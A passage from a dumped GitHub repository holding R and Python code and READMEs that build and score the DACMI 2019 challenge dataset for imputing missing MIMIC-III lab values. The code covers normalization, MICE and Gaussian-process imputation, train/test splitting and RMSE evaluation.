'/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_183/Method_A')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_183/Method_B')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_183/Method_C')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_184/test_with_imputing')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_185/test_data_pred')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_186/result/data')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_187/Results/test_imputed')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_188/all_imputed')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_189/output_final')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_190/results')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_191/test_with_missing_and_code/test_with_missing_knn/test_with_missing_knn')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_192/XGB_test_fill_result')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_194/result')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_195/Submission/test_with_imputation')\n\nevalChallengeTest(tgt, naidx, '/share/fsmresfiles/ichi_dacmi/submissions/ichi2019_Resultsubmissions_196')\n" }, { "alpha_fraction": 0.5451030731201172, "alphanum_fraction": 0.5528350472450256, "avg_line_length": 37.79999923706055, "blob_id": "34297f17d2140fc64e004ebc37cfaad3b5584121", "content_id": "1cb1cc98c18cce541cfd069cf70dca6502417666", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 776, "license_type": "permissive", "max_line_length": 196, "num_lines": 20, "path": "/src/ciSelfDeNorm.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "ciSelfDeNorm <- function(ci, hmax, hmin, fncf='mimicConfig.R') {\n source(fncf)\n ci.raw = ci; \n cat(sprintf('CI self denormalizing\\n'))\n for (ipt in names(ci)) {\n for (iv in tests) {\n k = sprintf('%s|%s', ipt, iv)\n kmax = hmax[[k]]\n kmin = hmin[[k]]\n sel = !is.na(ci[[ipt]][iv,])\n ci.raw[[ipt]][iv,sel] = ci[[ipt]][iv,sel] * (kmax - kmin)\n }\n }\n ## you can approx. the original CI (e.g., http://stats.stackexchange.com/questions/123514/calculating-standard-error-after-a-log-transform), but here I choose not to reverse log transformation\n ## if (logt) {\n ## ci.raw = exp(ci.raw) # !problematic to use this transformation\n ## }\n cat(sprintf('done\\n'))\n return (ci.raw)\n}\n" }, { "alpha_fraction": 0.5953420400619507, "alphanum_fraction": 0.624454140663147, "avg_line_length": 30, "blob_id": "f1011719e3efa653284c557e5cd0b7fee4d7f6b1", "content_id": "7de5128021ddffa9010a3698bec8d88c024b74ac", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 687, "license_type": "permissive", "max_line_length": 145, "num_lines": 22, "path": "/src/pscript.py", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "\"\"\"\nParallel scripts\nyluo - 01/15/2019 creation\n\n\"\"\"\n\n#! /usr/bin/python;\nimport pandas as pd\nimport math\nimport re\nimport subprocess\n\ndef gpmlScript(fnscript='./gpmlMIMICScript.sh', fn='/home/shared_data/mimic3/lvcase.csv', fncf='mimicConfig', bsize=2000):\n ptads = pd.read_csv(fn, header=None)\n n = ptads.shape[0]\n dn = re.sub('/[^/]*$', '', fn)\n fscript = open(fnscript, 'w')\n for i in range(0,int(math.ceil((n+0.)/bsize))):\n fscript.write('matlab -nodisplay -r \"gpTensorImpValidation(%d,%d,\\'%s\\')\" 2>&1 > %s/gpml/log/imp%d.log&\\n' % (i+1, bsize, fncf, dn, i+1))\n fscript.close()\n subprocess.call(\"chmod a+x %s\" % (fnscript), shell=True)\n return;\n \n" }, { "alpha_fraction": 0.4469854533672333, "alphanum_fraction": 0.4469854533672333, "avg_line_length": 21.904762268066406, "blob_id": "183097952eb7fb48cc1ef3c1152f0d1987a3bf1e", "content_id": "7f70c5d1ff38a9a21ae2f70d2acd69c483f72d9f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 481, "license_type": "permissive", "max_line_length": 58, "num_lines": 21, "path": "/src/stdNorm.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "stdNorm <- function(Y, hstd, fncf='mimicConfig.R') {\n source(fncf)\n library(hash)\n cat(sprintf('self normalizing\\n'))\n V = Y\n for (test in tests) {\n vt = c()\n for (pt in names(V)) {\n vt = c(vt, V[[pt]][test,])\n }\n hstd[[test]] = sd(vt, na.rm=T)\n\n }\n for (pt in names(V)) {\n for (test in tests) {\n V[[pt]][test,] = V[[pt]][test,] / hstd[[test]]\n }\n }\n cat(sprintf('done\\n'))\n return(V)\n}\n" }, { "alpha_fraction": 0.7857740521430969, "alphanum_fraction": 0.7882845401763916, "avg_line_length": 41.67856979370117, "blob_id": "a8bc0ff2fe2786f46309de99f3e94271ff464dca", "content_id": "edbc726d99f7d3fb50aceac6e92e535385926268", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1195, "license_type": "permissive", "max_line_length": 323, "num_lines": 28, "path": "/dacmi_challenge_code_and_data/README.md", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "# DACMI Challenge Code and Data\nThis folder now contains the released code and data for the DACMI challenge.\n\n## R Code Dependencies\nNeed the following libraries:\n```\nMICE\nGPfit\nhash\ndoParallel\nforeach\n```\n\nBefore running the code, configuration (e.g., setting up the data directory dnroot to where you download the data) needs to be done by adapting the code in mimicConfig_release.R Please remember to create a subdirectory named \"micegp_log\" under dnroot.\n\nTo train, run the following code directly:\n```\nsource('mimicMICEGPParamEvalTr_release.R')\n```\nor better run as R markdown:\n```\nlibrary(rmarkdown)\nrender('mimicMICEGPParamEvalTr_release.R')\n```\n\nThis is a wrapper code calling various subroutines that generate the training data, mask missing values, and performs 3D-MICE imputation, each step is wrapped in its own R source file and should be self-explanatory.\n\nIn this wrapper code, nimp specifies how many MICE imputation to perform, ncores specifies how many cores to parallel the multiple imputations. nimp should be a multiply of ncores. You can set ncores to higher or lower values depending on the machine capacity. On a 20 core machine, this code should run in less than a day.\n" }, { "alpha_fraction": 0.5470183491706848, "alphanum_fraction": 0.564793586730957, "avg_line_length": 35.33333206176758, "blob_id": "641b1bdcbb9db075bbfe8ee37fa9e95bac9939e5", "content_id": "5976ac74cd698ad3fab8236ebf7560d460637315", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1744, "license_type": "permissive", "max_line_length": 185, "num_lines": 48, "path": "/src/miceCrossSectionInit.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "miceCrossSectionInit <- function(Y, sd=11242015, nimp=30, maxit=20, mincor=0.5, cl=NULL, ncores=10, fncf='mghtsConfig.R') {\n library(foreach)\n library(doParallel)\n source(fncf)\n cl.init=F\n if (is.null(cl)) {\n cl=makeCluster(ncores, type=\"FORK\", outfile=\"\") #\n registerDoParallel(cl)\n cl.init=T\n clusterSetRNGStream(cl, sd)\n }\n library(mice)\n V = Y \n cat(sprintf('MICE cross sectional initialization\\n'))\n clusterSetRNGStream(cl,sd)\n \n x = c()\n for (xsub in V) {\n x = rbind(x, t(xsub[tests,]))\n }\n cat(sprintf('#na in x (%d x %d) %d\\n', dim(x)[1], dim(x)[2], sum(is.na(x))))\n \n runif(1) # Below fails with \"object '.Random.seed' not found\" if without this line\n \n imp <- foreach(no = 1:ncores, .combine=ibind, .packages=\"mice\") %dopar% {\n mice(x, m=nimp/ncores, maxit=maxit, printFlag=F) # may want to increase the maxit and monitors the convergence, which statistics? may even consider parallelizing mincor=mincor, \n }\n print(imp)\n xt = array(NA, dim=c(dim(x)[1], dim(x)[2], nimp))\n for (i in 1:nimp) {\n xt[,,i] = as.matrix(mice::complete(imp,i))\n }\n xm = apply(xt, c(1,2), mean)\n sdm = apply(xt, c(1,2), sd)\n std = V; cursor = 0\n for (pt in names(V)) {\n batch = dim(V[[pt]])[2]\n ## rnames = rownames(V[[pt]]); cnames = colnames(V[[pt]])\n V[[pt]][tests,] = t(xm[cursor+1:batch,]); # rownames(V[[pt]]) = rnames; colnames(V[[pt]]) = cnames\n std[[pt]][tests,] = t(sdm[cursor+1:batch,]); # rownames(std[[pt]]) = rnames; colnames(std[[pt]]) = cnames\n cursor = cursor + batch\n }\n \n if (cl.init) {\n stopCluster(cl)\n }\n return (list(V=V, std=std, imp=imp))\n}\n" }, { "alpha_fraction": 0.6211901307106018, "alphanum_fraction": 0.6458635926246643, "avg_line_length": 48.21428680419922, "blob_id": "a661a9792ab92849ca8277c5b1ecd2c8a588ba5a", "content_id": "941845186ebf278c65b41bde7ea403426d575b20", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 689, "license_type": "permissive", "max_line_length": 197, "num_lines": 14, "path": "/src/trainTestSplit.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "trainTestSplit <- function(fnpt, fntr, fnte, ptr=0.7) {\n ## fnpt, list of pts; fntr, list of training pts\n ## trainTestSplit(fnpt='/data/mghcfl/mgh_time_series/ptads_val.csv', fntr='/data/mghcfl/mgh_time_series/ptads_val_tr_0.5.csv', fnte='/data/mghcfl/mgh_time_series/ptads_val_te_0.5.csv', ptr=0.5)\n set.seed(110315)\n pts = read.csv(fnpt, header=F)\n pts = as.vector(pts[,1])\n npt = length(pts)\n perm.pts = sample(pts, size=npt, replace=F)\n ntr = round(npt*ptr)\n pt.tr = perm.pts[1:ntr]\n pt.te = perm.pts[(ntr+1):npt]\n write.table(pt.tr, file=fntr, quote=F, row.names=F, col.names=F)\n write.table(pt.te, file=fnte, quote=F, row.names=F, col.names=F)\n}\n" }, { "alpha_fraction": 0.60550457239151, "alphanum_fraction": 0.6177369952201843, "avg_line_length": 33.31578826904297, "blob_id": "fead95fbab330e43a541fb391edb0a10ce2ea373", "content_id": "195021bd4bbaa627a84fcd3a16422b1b9ea608f0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 654, "license_type": "permissive", "max_line_length": 104, "num_lines": 19, "path": "/dacmi_challenge_code_and_data/code/mimicConfig_release.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "server = Sys.info()['nodename']\nif (server == 'server1') {\n dnroot = 'folder1'\n}else if (grepl('domain2', server)) {\n dnroot = 'folder2'\n}else if (grepl('domain3', server)) {\n dnroot = 'folder3'\n}else {\n # quit(sprintf('unrecognized server %s\\n', server))\n}\ndnroot = '/share/fsmresfiles/mimic3/ichi_release'\n\ntests = c('PCL', 'PK', 'PLCO2', 'PNA', 'HCT', 'HGB', 'MCV', 'PLT', 'WBC', 'RDW', 'PBUN', 'PCRE', 'PGLU')\n\nfnlog.tmp = sprintf('%s/micegp_log/%%s_output_iter%%s.RData', dnroot)\nfnres.tmp = sprintf('%s/micegp_log/%%s_res_iter%%s.RData', dnroot)\nfnkm.tmp = sprintf('%s/micegp_log/%%s_km_iter%%s.RData', dnroot)\n\ntimeidx = 'CHARTTIME'\n\n\n" }, { "alpha_fraction": 0.5080385804176331, "alphanum_fraction": 0.5080385804176331, "avg_line_length": 24.91666603088379, "blob_id": "c047bc58a2e705718cd1c06760be54ba1db3bada", "content_id": "703927e4f3915a9a2594f36ad951f6bf66459d57", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 311, "license_type": "permissive", "max_line_length": 62, "num_lines": 12, "path": "/src/stdDeNorm.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "stdDeNorm <- function(V, hstd, fncf='mimicConfig.R') {\n source(fncf)\n V.raw = V\n cat(sprintf('self denormalizing\\n'))\n for (pt in names(V)) {\n for (test in tests) {\n V.raw[[pt]][test,] = V[[pt]][test,] * hstd[[test]]\n }\n }\n cat(sprintf('done\\n'))\n return (V.raw)\n}\n" }, { "alpha_fraction": 0.48043298721313477, "alphanum_fraction": 0.4887593686580658, "avg_line_length": 30.605262756347656, "blob_id": "11e2873b7da66e8d7970cf67c030be043d37d643", "content_id": "6ecbc04c52f050fd0cc6f55005ca931892a7b1f1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1201, "license_type": "permissive", "max_line_length": 108, "num_lines": 38, "path": "/src/evalPtTensorImpImportTrTeChallenge.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "evalPtTensorImpImportTrTeChallenge <- function(timp, tgt, naidx, metric='RMSE range norm') {\n library(hash)\n qtl = (1:10)/10\n stopifnot(metric=='RMSE range norm')\n tests = c('PCL', 'PK', 'PLCO2', 'PNA', 'HCT', 'HGB', 'MCV', 'PLT', 'WBC', 'RDW', 'PBUN', 'PCRE', 'PGLU')\n\n nrmse = rep(0, length(tests))\n names(nrmse) = tests\n nrmse.v = list()\n for (test in tests) {\n nrmse.v[[test]] = c()\n }\n n = dim(naidx)[1]\n for(i in 1:n) {\n ipt = naidx[i, \"pt\"]; iv = naidx[i, \"test\"]; it = naidx[i, \"i\"]\n eimp = timp[[ipt]][it, iv]; eraw = tgt[[ipt]][it, iv]\n\n if (metric=='RMSE range norm') {\n update = ((eimp - eraw) / (max(tgt[[ipt]][iv,], na.rm=T) - min(tgt[[ipt]][iv,], na.rm=T)))^2\n }\n\n if (is.na(update) | is.infinite(update)) {\n cat(sprintf('%s, %s, %s\\n', ipt, iv, it))\n }\n nrmse[iv] = nrmse[iv] + update\n if (metric=='RMSE range norm') {\n nrmse.v[[iv]] = c(nrmse.v[[iv]], sqrt(update))\n }\n\n }\n for(test in tests){\n if (metric=='RMSE range norm') {\n nrmse[test] = sqrt(nrmse[test] / sum(naidx$test==test))\n }\n\n }\n return (nrmse);\n}\n" }, { "alpha_fraction": 0.5014925599098206, "alphanum_fraction": 0.5194029808044434, "avg_line_length": 38.880950927734375, "blob_id": "fb2a244ff0643f465df564c5b35a9de79da55aae", "content_id": "66e303388d90b42b605dc0cb74614358cc31b2da", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1675, "license_type": "permissive", "max_line_length": 81, "num_lines": 42, "path": "/src/labViewCase.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "library(chron)\nsource('mimicConfig.R')\nsubjs = read.csv(sprintf('%s/PATIENTS.csv', dn))\nsuids = unique(subjs$SUBJECT_ID)\nesuids = read.csv('lvgen_duplicate.txt', header=F)\nesuids = esuids[,1]\ncnt = 0\nlvcases = c()\nfor (suid in suids) {\n fnlv = sprintf('%s/lv_%s.RData', dnlv, suid)\n if (!(suid %in% esuids) & file.exists(fnlv)) {\n cnt = cnt + 1\n load(fnlv)\n caseids = unique(lv$HADM_ID); caseids = caseids[!is.na(caseids)]\n for (caseid in caseids){\n lvcase = sprintf('lv_%s_%s', suid, caseid)\n fnlvc = sprintf('%s/%s.csv', dnlvc, lvcase)\n lvc = lv[!is.na(lv$HADM_ID) & lv$HADM_ID==caseid,]\n dts = t(as.data.frame(strsplit(as.character(lvc$CHARTTIME), ' ')))\n dts = chron(dates=dts[,1], times=dts[,2], format=c('y-m-d', 'h:m:s'))\n toff = min(dts)\n dts = round(as.numeric(difftime(dts, toff, unit=\"mins\")))\n lvc[,'CHARTTIME'] = dts\n lvc = lvc[,c('CHARTTIME', tests)]\n ## add time point filters 3/14/2016\n ## tsrmax = apply(lvc[,-(1:2)], 1, function(x) {max(x, na.rm=T)})\n tsrnac = apply(lvc[,-(1:2)], 1, function(x) {sum(is.na(x))})\n ## rowsel = tsrmax<1000 & tsrnac<6\n rowsel = tsrnac<length(tests) # not all missing\n lvc = lvc[rowsel,]\n if (dim(lvc)[1]>1) {\n lvcases = c(lvcases, lvcase)\n write.csv(lvc, quote=F, file=fnlvc, row.names=F, na='NaN')\n }\n }\n if (cnt %% 1000==0) {\n cat(sprintf('%d subjs\\n', cnt))\n }\n }\n}\n\ncat(paste(lvcases, collapse=\"\\n\"), file=sprintf('%s/lvcase.csv', dn))\n" }, { "alpha_fraction": 0.7049673795700073, "alphanum_fraction": 0.7293025851249695, "avg_line_length": 32.21666717529297, "blob_id": "f4e7924866d73d3158c0e976f3e51c785713c8dc", "content_id": "486842a20071fb79b08fa442047114ef1cd89d4f", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 3986, "license_type": "permissive", "max_line_length": 353, "num_lines": 120, "path": "/README.md", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "# DACMI 2019 challenge on missing clinical data imputation\nGenerating the imputation dataset for the DACMI 2019 challenge <https://ewh.ieee.org/conf/ichi/2019/challenge.html>\n\nIf you don't want to run the code to regenerate the data, you can find the challenge data in the folder \"dacmi_challenge_code_and_data\".\n\nThe challenge participants' outputs can be found [here](https://www.dropbox.com/s/fx6r80lumo8cu2s/DACMI_results_submissions.zip?dl=0).\n\n## R Code Dependencies\nNeed the following libraries:\n```\nmice\nGPfit\nhash\ndoParallel\nforeach\n```\n\n## Generate per subject per admission lab data\nAssume the following root data directory\n```\ndn = /home/shared_data/mimic3\n```\n\nCreate the following directories\n```\nmkdir $dn/perSubj/LabEvents\nmkdir $dn/perSubj/LabData\nmkdir $dn/perSubj/LabView\nmkdir $dn/perSubj/LabViewCase\nmkdir $dn/imp_data\nmkdir $dn/train_groundtruth\nmkdir $dn/train_with_missing\nmkdir $dn/test_groundtruth\nmkdir $dn/test_with_missing\n```\nFirst, split lab events in Python (create subdirectories if they don't exist)\n```\nimport mimic3 as m3\nm3.split_mimic3(fn='/home/shared_data/mimic3/LABEVENTS.csv', dnout='/home/shared_data/mimic3/perSubj/LabEvents', pref='le')\n```\nThen run the following R code:\n```\nsource('labDataGen.R')\nsource('labViewGenSeq.R')\nsource('labViewCase.R')\n```\n\n## Run single task Gaussian Process to impute\nAssume the inverse signal to noise ratio is ```isnr=0.01```, which is used in ```gpTensorImpValidation.m```\n\nCreate the following directories\n```\n$dn/gpml/log\n$dn/gpml/validation/gpml_raw_sample_$isnr\n```\nRun the following code in Python\n```\nimport pscript as ps\nps.gpmlScript(fnscript='./gpmlMIMICScript.sh', fn=f'{dn}/lvcase.csv', fncf='mimicConfig', bsize=2000)\n```\nRun the following in shell\n```\n./gpmlMIMICScript.sh\n```\nAfter completion, run the following in shell\n```\ncd $dn/gpml/validation/gpml_raw_sample_$isnr\ngrep 'not enough training' *.err > ../../stgp_warning_ptads2.csv\ngrep 'non-varying' *.err > ../../stgp_warning_ptads1.csv\ncd ../../\n```\nRun the following code in R\n```\npt2 = read.csv('stgp_warning_ptads2.csv', header=F)\npt1 = read.csv('stgp_warning_ptads1.csv', header=F)\npt = union(gsub('^.*:', '', pt1$V1), gsub('^.*:', '', pt2$V1))\nwrite.table(pt, file='stgp_warning_ptads.csv', row.names=F, col.names=F, quote=F)\n```\n\n## Generate the data and split train and test sets\nRun the following code in R\n```\nsource('mimicConfig.R')\nsource('mimic_csv_gen.R')\n```\n\nThe convention for generated csv is that row correspondes to time, column correspondes to variable.\n\n## Run 3D-MICE\nBefore running the code, configuration needs to be done by adapting and running the code in mimicConfig.R Please remember to create a subdirectory named \"micegp_log\" under ```$dn```.\n\nTo train, run the following code directly:\n```\nsource('mimicMICEGPParamEvalTr.R')\n```\nor better run as R markdown:\n```\nlibrary(rmarkdown)\nrender('mimicMICEGPParamEvalTr.R')\n```\n\nThis is a wrapper code calling various subroutines that generate the training data, mask missing values, and performs 3D-MICE imputation, each step is wrapped in its own R source file and should be self-explanatory.\n\nIn this wrapper code, ```nimp``` specifies how many MICE imputation to perform, ```ncores``` specifies how many cores to parallel the multiple imputations. ```nimp``` should be a multiply of ```ncores```. You can set ```ncores``` to higher or lower values depending on the machine capacity. On a 20 core machine, this code should run in less than a day.\n\nFor your convenience, we also included the GP package ```gpml-matlab-v3.5-2014-12-08```, but we do not claim any rights or responsibility for that code.\n\n### Citation\n```\n@article{10.1093/bib/bbab489,\n author = {Luo, Yuan},\n title = \"{Evaluating the state of the art in missing data imputation for clinical data}\",\n journal = {Briefings in Bioinformatics},\n year = {2021},\n month = {12},\n issn = {1477-4054},\n doi = {10.1093/bib/bbab489},\n url = {https://doi.org/10.1093/bib/bbab489},\n}\n```\n" }, { "alpha_fraction": 0.6558244824409485, "alphanum_fraction": 0.6633887887001038, "avg_line_length": 31.170732498168945, "blob_id": "4fa335acb4349bfec103472374e7ce42fbff5682", "content_id": "445438577d0fac54d47c22dc4b742ff0cc6f4cec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1322, "license_type": "permissive", "max_line_length": 304, "num_lines": 41, "path": "/dacmi_challenge_code_and_data/code/mimicMICEGPParamEvalTr_release.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "#' ---\n#' title: \"Temporal MICE-GP Train Evaluation for MIMIC\"\n#' author: \"Yuan Luo\"\n#' always_allow_html: yes\n#' ---\nlibrary(hash)\nsource('temporalMICEGP.R')\n\n\nfncf='mimicConfig_release.R'\nsource(fncf)\n\npts.tr = read.csv(sprintf('%s/pts.tr.csv', dnroot), header=F)[,1]\n\n## load(sprintf('%s/tgt.tr.RData', dnroot))\ntgt.tr = list()\ndn.tgt = sprintf('%s/train_groundtruth', dnroot)\nfor (i in pts.tr) {\n fn = sprintf('%s/%d.csv', dn.tgt, i)\n tgt.tr[[i]] = t(read.csv(fn))\n}\nnames(tgt.tr) = as.character(1:length(tgt.tr))\n\n## load(sprintf('%s/tnagt.tr.RData', dnroot))\ntnagt.tr = list()\ndn.tnagt = sprintf('%s/train_with_missing', dnroot)\nfor (i in pts.tr) {\n fn = sprintf('%s/%d.csv', dn.tnagt, i)\n tnagt.tr[[i]] = t(read.csv(fn))\n}\nnames(tnagt.tr) = as.character(1:length(tnagt.tr))\n\nnaidx = read.csv(sprintf('%s/naidx.csv', dnroot), stringsAsFactors=F)\n\nh = hash()\nh[['t']] = tgt.tr\nh[['tna']] = tnagt.tr\nh[['naidx']] = naidx\n\n## nimp specifies how many MICE imputation to perform, ncores specifies how many cores to parallel the multiple imputations. nimp should be a multiply of ncores. You can set ncores to higher or lower values depending on the machine capacity. On a 20 core machine, this code should run in less than a day.\nrmicegp.tr = temporalMICEGP(h, m=2, trte='tr', nimp=40, ncores=20, fncf=fncf)\n\n\n\n" }, { "alpha_fraction": 0.4441964328289032, "alphanum_fraction": 0.462797611951828, "avg_line_length": 32.599998474121094, "blob_id": "7acfec73f5331e8006b91f92d97d3c17e0fba819", "content_id": "37cfa5f561850256c34aa6f5171899b6a8812dc1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1344, "license_type": "permissive", "max_line_length": 125, "num_lines": 40, "path": "/src/mimic3.py", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "\"\"\"\nThis code converts raw MIMIC3 .csv files into ready-to-process data\nYuan - 01/22/2016 creation\n\"\"\"\n\n__author__= \"\"\"Yuan Luo ([email protected])\"\"\"\n__revision__=\"0.5\"\nimport csv\n\n#! /usr/bin/python;\ndef split_mimic3(fn='/home/shared_data/mimic3/LABEVENTS.csv', dnout='/home/shared_data/mimic3/perSubj/LabEvents', pref='le'):\n f = open(fn, 'rb')\n dr = csv.reader(f)\n ln = 0; sid_old = ''\n sids = {}\n for row in dr:\n ln += 1\n if ln == 1:\n header = row\n else:\n sid = row[1]\n if sid != sid_old:\n if sid_old != '':\n fout.close()\n fnout = '%s/%s_%s.csv' % (dnout, pref, sid)\n if sids.has_key(sid):\n ## print('%s multi occurrence %s after %s at line %d' % (sid, row[0], sid_old, ln))\n fout = open(fnout, 'ab')\n else:\n if len(sids) % 1000 == 0:\n print('processed %d subjects' % (len(sids)))\n fout = open(fnout, 'wb')\n fcsv = csv.writer(fout, delimiter=',', quotechar='\"', quoting=csv.QUOTE_MINIMAL)\n if not sids.has_key(sid):\n fcsv.writerow(header)\n sids[sid] = 1\n fcsv.writerow(row)\n sid_old = sid\n fout.close()\n return;\n" }, { "alpha_fraction": 0.650602400302887, "alphanum_fraction": 0.650602400302887, "avg_line_length": 32, "blob_id": "2c910f08178349ce0e4b3e66437444b8fe9e0b53", "content_id": "5883bff47299a73312801e25ae8f89e4dc1b99c2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 166, "license_type": "permissive", "max_line_length": 69, "num_lines": 5, "path": "/src/facToStr.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "facToStr <- function(var) {\n ifac = sapply(var, is.factor) # change only factor cols to string\n var[ifac] = lapply(var[ifac], as.character)\n return (var)\n}\n\n" }, { "alpha_fraction": 0.5887546539306641, "alphanum_fraction": 0.5947955250740051, "avg_line_length": 30.188405990600586, "blob_id": "b60ef0b3b283060ce76b12599217f3d6f7286438", "content_id": "2a480eaf7f88c1e1ec826fa97b20d42856a2f6c3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 2152, "license_type": "permissive", "max_line_length": 81, "num_lines": 69, "path": "/src/getMissingRate.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "library(hash)\nsource('constructPtTensor.R')\nsource('maskPtTensorImport.R')\nsource('evalPtTensorImpImportTrTe.R')\nsource('splitTrainTestTensor.R')\nfncf='mimicConfig.R'\n## ptt = constructPtTensor(fncf=fncf)\nsource(fncf)\nmissingRate<-function(t.trte, trte) {\n testcnt = rep(0, length(tests))\n names(testcnt) = tests\n testnacnt.nat = rep(0, length(tests))\n names(testnacnt.nat) = tests\n testnacnt = rep(0, length(tests))\n names(testnacnt) = tests\n \n ptt = t.trte[[trte]]\n h = maskPtTensorImport(ptt, fncf=fncf)\n t = h[['t']]\n tna = h[['tna']]\n for (pt in names(t)) {\n ptad.na = tna[[pt]]\n ptad = t[[pt]]\n for (test in tests) {\n testcnt[test] = testcnt[test] + dim(ptad)[2]\n testnacnt.nat[test] = testnacnt.nat[test] + sum(is.na(ptad[test,]))\n testnacnt[test] = testnacnt[test] + sum(is.na(ptad.na[test,]))\n }\n }\n list(cnt=testcnt, nacnt=testnacnt, nacnt.nat=testnacnt.nat)\n}\n\nmissingRate2<-function(ptt) {\n testcnt = list(); testnacnt.nat = list(); testnacnt = list()\n for (test in tests) {\n testcnt[test] = c()\n testnacnt.nat[test] = c()\n testnacnt[test] = c()\n }\n \n h = maskPtTensorImport(ptt, fncf=fncf)\n t = h[['t']]\n tna = h[['tna']]\n for (pt in names(t)) {\n ptad.na = tna[[pt]]\n ptad = t[[pt]]\n for (test in tests) {\n testcnt[test] = c(testcnt[test], dim(ptad)[2])\n testnacnt.nat[test] = c(testnacnt.nat[test], sum(is.na(ptad[test,])))\n testnacnt[test] = c(testnacnt[test], sum(is.na(ptad.na[test,])))\n }\n }\n list(cnt=testcnt, nacnt=testnacnt, nacnt.nat=testnacnt.nat)\n}\n\nload(sprintf('%s/ptt.RData', dndata))\nt.trte = splitTrainTestTensor(ptt, fncf=fncf)\n\nctr=missingRate(t.trte, 'tr')\ncte=missingRate(t.trte, 'te')\n\nna.pct = (ctr$nacnt + cte$nacnt) / (ctr$cnt + cte$cnt)\nna.pct.nat = (ctr$nacnt.nat + cte$nacnt.nat) / (ctr$cnt + cte$cnt)\n\nwrite.csv(t(rbind(na.pct, na.pct.nat)), file='missing_rate.csv', quote=F)\n\n## get inter-quartile range\nmat = do.call(cbind, ptt)\napply(mat, 1, function(x) {quantile(x, c(0.25, 0.75), na.rm=T)})\n" }, { "alpha_fraction": 0.6434359550476074, "alphanum_fraction": 0.645596981048584, "avg_line_length": 29.850000381469727, "blob_id": "4fbcdb64823e5ec35c0a1e5fc3b7c2856f337305", "content_id": "26dee02e13947a20bfdd701301d211475c0b24fa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "R", "length_bytes": 1851, "license_type": "permissive", "max_line_length": 105, "num_lines": 60, "path": "/src/mimic_csv_gen.R", "repo_name": "yuanluo/mimic_imputation", "src_encoding": "UTF-8", "text": "library(hash)\nsource('constructPtTensor.R')\nsource('maskPtTensorImport.R')\nsource('splitTrainTestTensor.R')\nsource('trainTestSplit.R')\n\nfncf='mimicConfig.R'\nsource(fncf)\n\nptt = constructPtTensor(fncf=fncf)\ntrainTestSplit(fnpt=fnptads.val, fntr=sprintf(fntr.tmp, rtrte), fnte=sprintf(fnte.tmp, rtrte), ptr=rtrte)\nt.trte = splitTrainTestTensor(ptt, fncf=fncf)\n\n## train\nh = maskPtTensorImport(t.trte[['tr']], fncf=fncf)\ntgt.tr = 